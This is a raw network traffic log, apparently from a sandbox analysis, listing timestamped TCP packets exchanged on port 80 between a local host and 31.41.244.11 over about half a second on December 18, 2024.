Dec 18, 2024 09:07:18.865039110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.865542889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.865591049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.865596056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.865648985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.865669012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.865689993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.866285086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.866328955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.866337061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.866372108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.866379976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.866410971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.867336035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.867382050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.867388010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.867422104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.867429972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.867460966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.868160009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.868206024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.868252993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.868285894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.868295908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.868329048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.869045019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.869079113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.869091988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.869115114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.869123936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.869173050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.869654894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.869699955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.869707108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.869755030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.869760036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.869807005 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.870485067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.870532036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.870557070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.870590925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.870603085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.870635986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.871565104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.871598959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.871613979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.871635914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.871637106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.871676922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.029429913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.029520035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.029551029 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.029578924 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.029584885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.029620886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.029623032 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.029623032 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.029658079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.030292034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.030391932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.030425072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.030440092 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.030462027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.031126976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.031193018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.031227112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.031238079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.031265974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.031985044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.032041073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.032099962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.032134056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.032180071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.032875061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.032922029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.032927036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.032962084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.032999039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.033746958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.033796072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.033823013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.033858061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.033901930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.034595966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.034651995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.034682989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.034718990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.034725904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.034818888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.035535097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.035608053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.035640955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.035651922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.035676003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.036345005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.036436081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.036469936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.036477089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.036504984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.037204027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.037281990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.037316084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.037321091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.037488937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.038065910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.038149118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.038182974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.038189888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.038677931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.038947105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.039005041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.039019108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.039052010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.039055109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.039176941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.039844990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.039896965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.039915085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.039931059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.039932013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.039973974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.040865898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.040918112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.040919065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.040954113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.040955067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.040990114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.042004108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.042051077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.042056084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.042129040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.042139053 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.042164087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.042916059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.043001890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.043035984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.043041945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.043981075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.044032097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.044035912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.044070005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.044079065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.044106960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.044888973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.044939041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.044974089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.045010090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.045015097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.045054913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.045912981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.045958996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.046006918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.046041012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.046053886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.046072960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.046962023 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.047008038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.047090054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.047123909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.047168016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.047934055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.048019886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.048053980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.048068047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.048094034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.048690081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.048984051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.049031019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.049036026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.049069881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.049112082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.049674034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.049706936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.049715996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.049741983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.049782991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.050477028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.050578117 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.050611973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.050622940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.050647974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.051229954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.051264048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.051297903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.051309109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.051331043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.051760912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.051814079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.051847935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.051858902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.051879883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.052495003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.052606106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.052639961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.052650928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.052673101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.053215981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.053267956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.053306103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.053313971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.053580999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.054054022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.054105997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.054138899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.054152012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.054172993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.054979086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.055074930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.055108070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.055119991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.055140972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.055763960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.055838108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.055871964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.055885077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.055906057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.056668997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.056720018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.056752920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.056765079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.056786060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.057565928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.057681084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.057713985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.057724953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.057887077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.058361053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.058465958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.058500051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.058511019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.058532000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.059346914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.059426069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.059469938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.220753908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.220859051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.220899105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.220941067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.220957994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.221019030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.221059084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.221117020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.221148968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.221184969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.221201897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.221226931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.221889973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.221947908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.221952915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.221992970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.222009897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.222059011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.222856045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.222914934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.223081112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.223120928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.223164082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.223164082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.223912001 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.223967075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.223975897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.224003077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.224020004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.224044085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.225058079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.225162983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.225166082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.225197077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.225217104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.225246906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.226269007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.226325989 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.226370096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.226404905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.226427078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.226471901 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.227520943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.227574110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.227648020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.227682114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.227704048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.227725029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.228689909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.228741884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.228748083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.228775978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.228795052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.228815079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.229469061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.229526043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.229536057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.229572058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.229590893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.229618073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.230268955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.230323076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.230385065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.230443001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.230453014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.230505943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.230931997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.230987072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.231133938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.231168985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.231189966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.231215954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.231579065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.231636047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.231659889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.231694937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.231714010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.231734991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.232300043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.232352972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.232422113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.232456923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.232477903 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.232496977 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.233433008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.233489990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.233577967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.233613014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.233635902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.233659983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.234060049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.234126091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.234155893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.234190941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.234208107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.234230995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.234672070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.234729052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.234745026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.234780073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.234798908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.234818935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.235388041 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.235423088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.235444069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.235460043 CET	80	49714	31.41.244.11	192.168.2.8
